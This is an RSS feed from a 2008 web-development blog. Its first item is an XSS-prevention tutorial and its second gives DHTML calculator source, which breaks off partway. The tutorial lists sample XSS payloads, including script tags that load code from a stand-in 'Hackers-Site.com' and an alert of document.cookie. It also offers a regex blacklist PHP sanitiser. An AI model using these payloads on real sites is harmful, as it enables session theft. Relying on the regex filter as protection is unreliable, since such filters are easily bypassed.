<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abeon Tech &#187; Javascript</title>
	<atom:link href="http://abeontech.com/tag/javascript/feed" rel="self" type="application/rss+xml" />
	<link>http://abeontech.com</link>
	<description>Abeon Techs Geeky blog for Coders, Gamers, Webmasters and Tech Addicts!</description>
	<lastBuildDate>Thu, 28 Jul 2011 18:50:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>XSS and web form security</title>
		<link>http://abeontech.com/232-security-xss-and-web-form-security</link>
		<comments>http://abeontech.com/232-security-xss-and-web-form-security#comments</comments>
		<pubDate>Thu, 13 Nov 2008 19:24:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.abeontech.com/?p=232</guid>
		<description><![CDATA[There are many instances when user input is needed. But allowing just any code to be passed can cause severe problems and lead to even the most annoying 10 year old script kiddie writing PWND all over website!

There a are some simple steps which you can take to prevent most of these.
This article will go over some of the fundamental xss attacks and how to stop them.]]></description>
			<content:encoded><![CDATA[<p>There are many instances when user input is needed. But allowing just any code to be passed can cause severe problems and lead to even the most annoying 10 year old script kiddie writing &#8220;PWND&#8221; all over website!</p>
<p>There a are some simple steps which you can take to prevent most of these.<br />
This article will go over some of the fundamental <abbr title="Cross Site Scripting">XSS</abbr> attacks and how to stop them.</p>
<p><span id="more-232"></span></p>
<blockquote><p>As of 2007, cross-site scripting carried out on websites were roughly 80% of all documented security vulnerabilities. Often during an attack &#8220;everything looks fine&#8221; to the end-user who may be subject to unauthorized access, theft of sensitive data, and financial loss.</p></blockquote>
<p><strong><a href="http://en.wikipedia.org/wiki/Cross-site_scripting">Cross-site scripting</a> (XSS)</strong> is, in short, a way of injecting code by a malicious web user. The code can be used for anything from displaying a persistent pop-up or crashing the browser, to including remote files to run scripts and steal cookies!</p>
<h2>What code do I need to sanitize?</h2>
<p><span class="dropcap">W</span>hat will this magical code look like?<br />
That&#8217;s an easy question to avoid as there are many ways to mess with a website that gives permission to post raw code! Not all XSS attacks will work on all websites or even all broswers. So you may see someone testing with strange looking code before you see some, if any, form of attack.</p>
<p>For this reason, I think it&#8217;s best to implement some form of <a href="http://en.wikipedia.org/wiki/BBCode">BBCode</a> system.<br />
But more on that later&#8230;</p>
<p>A few common XSS codes could include&#8230;</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span><span style="color: #000066; font-weight: bold;">while</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;XSS&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;Hackers-Site.com/xss.js&quot;</span><span style="color: #339933;">&gt;&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">/</span>src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;Hackers-Site.com/xss.js&quot;</span><span style="color: #339933;">&gt;&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span>`javascript<span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;XSS&quot;</span><span style="color: #009900;">&#41;</span>`<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>style type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'XSS'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">&lt;/</span>style<span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>img <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #3366CC;">&quot;&gt;&lt;script&gt;alert(&quot;</span>XSS<span style="color: #3366CC;">&quot;)&lt;/script&gt;&quot;</span><span style="color: #339933;">&gt;</span></div></div>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">cookie</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;&lt;/</span>script<span style="color: #339933;">&gt;;</span></div></div>
<p>Most of these examples will just show an annoying pop-up saying &#8220;XSS&#8221;, but could be used for more malicious purposes.</p>
<p>If any of the above <abbr title="Cross Site Scripting">XSS</abbr> examples are allowed to be displayed as output from your page, you have could have serious problems!</p>
<p>As mentioned above, there are MANY ways to abuse a website that doesn&#8217;t check what your posting or submitting.<br />
It may seem like a good idea to ask for visitors comments or asking for an email address for news subscriptions, but it&#8217;s worth checking what content will be displayed when the form is submitted.</p>
<h2>How can I prevent XSS attacks?</h2>
<p><span class="dropcap">A</span>ny code that can be submitted by a user should be validated or filtered in someway. Steps need to be taken to ensure malicious code can&#8217;t be executed on output.</p>
<p>Non-crucial pages like a confirmation page don&#8217;t need full validation. But, if a feedback form is allowed to go unchecked it could mean a cookie stealer gets injected and your customers details get stolen!</p>
<p>Generally speaking, it&#8217;s best to validate of any forms or inputted data submitted to your web site. Validating the data on input (rather than output) not only helps prevent possible attacks more effectively, but also makes sure only clean code gets entered into the database.</p>
<p>There are other benefits to cleaning up the code before it gets entered into the database. One great advantage is clean output to an administration section.</p>
<p>Let&#8217;s take my <a href="http://www.nowares.net/">Free Online Arcade</a> as an example:<br />
If I decided to ask for visitors to submit games to the website, I could just use a simple textbox to ask for the embeddable code to be entered. If the submitted content wasn&#8217;t validated in some way an attacker could inject a cookie stealer to hijack the administrators session! Flash code would not even be required if no form of validation is used, so I could just use embed a cookie stealer and a game together.</p>
<p>In an idea world, ever input field would be validated to ensure clean output. But that can be very time consuming.</p>
<blockquote><p>When accepting data from a user, any data at all, it should be sanitized before making its way to your database.<br />
&#8230;..<br />
We’ll scan through the input, searching for anything that shouldn’t be there, like html code, &lt;script&gt; tags, etc<br />
&#8230;..<br />
To use, we simply pass any input to the function. The function works on single strings, as well as deep arrays.</p></blockquote>
<p><strong>Denham Coote&#8217;s Blog</strong> has a great article on <a href="http://www.denhamcoote.com/php-howto-sanitize-database-inputs">Stripping out malicious code</a> for PHP, which is easy to implement and very effective.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span><br />
<span style="color: #000000; font-weight: bold;">function</span> cleanInput<span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<br />
<span style="color: #000088;">$search</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'@&lt;script[^&gt;]*?&gt;.*?&lt;/script&gt;@si'</span><span style="color: #339933;">,</span> &nbsp; <span style="color: #666666; font-style: italic;">// Strip out javascript</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'@&lt;[\/\!]*?[^&lt;&gt;]*?&gt;@si'</span><span style="color: #339933;">,</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #666666; font-style: italic;">// Strip out HTML tags</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'@&lt;style[^&gt;]*?&gt;.*?&lt;/style&gt;@siU'</span><span style="color: #339933;">,</span> &nbsp; &nbsp;<span style="color: #666666; font-style: italic;">// Strip style tags properly</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'@&lt;![\s\S]*?--[ \t\n\r]*&gt;@'</span> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Strip multi-line comments</span><br />
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$search</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$output</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p><strong>Whenever you make a form you should not leave it alone without any form validation. Why? Because there is no guarantee that the input is correct and processing incorrect input values can make your application give unpredictable result.</strong></p>
<p><a href="http://www.php-mysql-tutorial.com/form-validation-with-php.php">Form Validation With PHP</a> covers the subject in a little more detail. The article includes full source code and examples.</p>
<h2>Closing Notes</h2>
<p><span class="dropcap">T</span>o sum it all up&#8230; Trust No One!<br />
Try to validate any code that will be submitted to the database or displayed on the website, even if only to remove the script tag.</p>
<p>In my opinion it&#8217;s a good idea to try and think like a hacker. Spam test your site before putting any changes in place. Try to execute some annoying javascript. Could you include remote javascript files? Will malformed tags allow injection?</p>
<p><strong>If you can do it, the hackers can generally do worse!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/232-security-xss-and-web-form-security/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dhtml Calculator Source Code</title>
		<link>http://abeontech.com/278-webdesign-dhtml-calculator-source-code</link>
		<comments>http://abeontech.com/278-webdesign-dhtml-calculator-source-code#comments</comments>
		<pubDate>Thu, 23 Oct 2008 23:29:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.abeontech.com/?p=278</guid>
		<description><![CDATA[A DHTML calculator with error checking. Definitely more stylish than the traditional JavaScript calculator, if nothing else!

Easy to customize and add to any website.]]></description>
			<content:encoded><![CDATA[<p><strong>A DHTML calculator with error checking.<br />
Definitely more stylish than the traditional JavaScript calculator, if nothing else!</strong></p>
<p>Very easy to customize and would fit well into a website providing a variable rate service and suchlike.</p>
<p>It would be better to use css for all the styling and layout information, but it&#8217;s easier to copy and paste the source code below as one file.</p>
<p><img src="http://i38.tinypic.com/mtw5lg.gif" alt="Dhtml Calculator Source Code" /></p>
<p><span id="more-278"></span></p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;height:250px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">table</span> <span style="color: #000066;">border</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;2&quot;</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;200&quot;</span> <span style="color: #000066;">cellspacing</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #000066;">cellpadding</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #000066;">bgcolor</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#000000&quot;</span></span><br />
<span style="color: #009900;"><span style="color: #000066;">style</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;border-color:black&quot;</span> <span style="color: #000066;">onClick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;previouskey=event.srcElement.innerText&quot;</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;100%&quot;</span> <span style="color: #000066;">bgcolor</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#FFFFFF&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;result&quot;</span></span><br />
<span style="color: #009900;"><span style="color: #000066;">style</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;font:bold 20px Verdana;color:black;text-align='right'&quot;</span>&gt;</span>0<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;100%&quot;</span> <span style="color: #000066;">valign</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;middle&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">table</span> <span style="color: #000066;">border</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;100%&quot;</span></span><br />
<span style="color: #009900;"><span style="color: #000066;">cellspacing</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #000066;">cellpadding</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #000066;">style</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;font:bold 20px Verdana;color:white&quot;</span>&gt;</span><br />
&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;80%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">table</span> <span style="color: #000066;">border</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;1&quot;</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;100%&quot;</span> <span style="color: #000066;">cellspacing</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;0&quot;</span></span><br />
<span style="color: #009900;"><span style="color: #000066;">cellpadding</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #000066;">style</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;cursor:hand;font:bold 20px Verdana;color:white&quot;</span></span><br />
<span style="color: #009900;"><span style="color: #000066;">onMouseover</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;if (event.srcElement.tagName=='TD')event.srcElement.style.color='yellow'&quot;</span></span><br />
<span style="color: #009900;"><span style="color: #000066;">onMouseout</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;event.srcElement.style.color='white'&quot;</span> onselectStart<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;return false&quot;</span></span><br />
<span style="color: #009900;"><span style="color: #000066;">onClick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;calculate()&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;82&quot;</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;17&quot;</span>&gt;</span>7<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;17&quot;</span>&gt;</span>8<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;17&quot;</span>&gt;</span>9<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;17&quot;</span>&gt;</span>/<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;19&quot;</span>&gt;</span>4<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;19&quot;</span>&gt;</span>5<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;19&quot;</span>&gt;</span>6<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;19&quot;</span>&gt;</span>*<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;19&quot;</span>&gt;</span>1<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;19&quot;</span>&gt;</span>2<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;19&quot;</span>&gt;</span>3<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;19&quot;</span>&gt;</span>-<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;19&quot;</span>&gt;</span>0<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;19&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; <span style="color: #000066;">onClick</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;pn();previouskey=1;event.cancelBubble=true&quot;</span>&gt;</span>+/-<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;19&quot;</span>&gt;</span>.<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;25%&quot;</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;center&quot;</span> <span style="color: #000066;">height</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;19&quot;</span>&gt;</span>+<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">tr</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">table</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">td</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">td</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;20%&quot;</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">align</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;left&quot;</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">table</span> <span style="color: #000066;">border</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;1&quot;</span> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;100%&quot;</span> <span style="color: #000066;">cellspacing</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;0&quot;</span></span><br />
